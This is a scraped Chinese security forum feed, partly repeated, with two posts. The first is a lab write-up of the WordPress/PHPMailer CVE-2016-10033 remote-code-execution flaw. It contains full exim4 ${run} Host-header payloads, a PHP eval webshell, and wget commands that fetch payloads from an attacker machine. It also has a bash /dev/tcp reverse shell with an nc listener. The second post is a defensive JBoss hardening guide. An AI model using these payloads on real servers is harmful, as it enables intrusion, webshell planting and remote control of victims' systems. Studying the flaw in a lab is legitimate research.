==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}shell.txt}} null)





2、在172.18.0.1上执行 nc -lvp 7001开启监听: 





3、发送payload使靶机运行shel: aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)





Reference
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
https://www.cnblogs.com/ssooking/p/8893264.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://paper.seebug.org/161/
  查看全部
精彩的不是利用,而是不断的突破,看了别人的思路受益匪浅。
 
0x01漏洞信息
这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
 
0x02漏洞编号
CVE-2016-10033 

https://paper.seebug.org/161/
0x03影响版本
WordPress <= 4.7.1 
PHPMailer < 5.2.18
0x04复现环境
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
0x05漏洞分析
 
漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword 

1.png

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE。
 
打开/wp-includes/class-phpmailer.php中
 public $Mailer = 'mail';

/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';

由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname 
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}

serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
 
sendmail 提供了-O 和-X参数。 -OQueueDirectory=/tmp/ -X/tmp/aaa.php,它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload: 
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/aaa.php )@qq.com

这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格.
具体大家可以看P神博客的两篇文章。 
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。并且host字段值中出现’/'会出现请求错误。
 
可以看到在ubuntu中已经使用exim4替代了sendmail的功能。 
root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'

在exim4中有一个-be参数可以读取一些变量的数据: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4

exim4还支持一些函数用来执行一些命令: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/

从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
 
因此我们可以将: 
空格  —> ${substr{10}{1}{$tod_log}}

/ —> ${substr{0}{1}{$spool_directory}}

$run还可以调用系统命令: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)

比如我们此时想执行在/tmp下创建一个test.php 
aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)

此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值: 

2.png

在/tmp下文件创建成功。 
root@990b6f7e34bb:/tmp# ls -al
total 8
drwxrwxrwt 1 root root 4096 Aug 23 10:46 .
drwxr-xr-x 1 root root 4096 Aug 23 08:48 ..
-rw—---- 1 www-data www-data 0 Aug 23 10:44 test.php

实际利用的过程中还需要注意一下几点:
    []执行的命令不能包含大量特殊字符比如 :、引号等等。[/][]命令会被转换为小写字母[/][]命令需要使用绝对路径[/][]需要知道一个存在的用户名,比如admin. [/]

 
 0x06实战利用 
一、写webshell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3 
 
攻击机器开启web服务,172.18.0.1/zk/one.txt内容如下: 
<?php @eval($_POST['zksmile'])?>

利用步骤:
1、发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php
2、使用菜刀链接shell.php
 
1、下载one.txt 
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)

3.png


2、使用菜刀链接: 

4.png

二、反弹shell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3
 
攻击机器开启web服务,172.18.0.1/zk/shell.txt内容如下: 
bash -i >& /dev/tcp/172.18.0.1/7001 0>&1

利用步骤:
1、发送payload使靶机下载shell.txt,并保存到/tmp/shell
2、在攻击机器上使用nc监听7001端口
3、发送payload使靶机运行shell
注意:远程 URL 中不能有 http://,并且所有字母必须小写。
 
 
1、下载远程服务器上的脚本文件payload: 
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 172.18.0.1/zk/shell.txt}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}shell.txt}} null)

5.png


2、在172.18.0.1上执行 nc -lvp 7001开启监听: 

6.png

3、发送payload使靶机运行shel: 
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

7.png


Reference
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
https://www.cnblogs.com/ssooking/p/8893264.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://paper.seebug.org/161/
 

JBOSS 最佳安全配置实践

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 192 次浏览 • 2018-08-22 18:28 • 来自相关话题

简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
  查看全部
简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

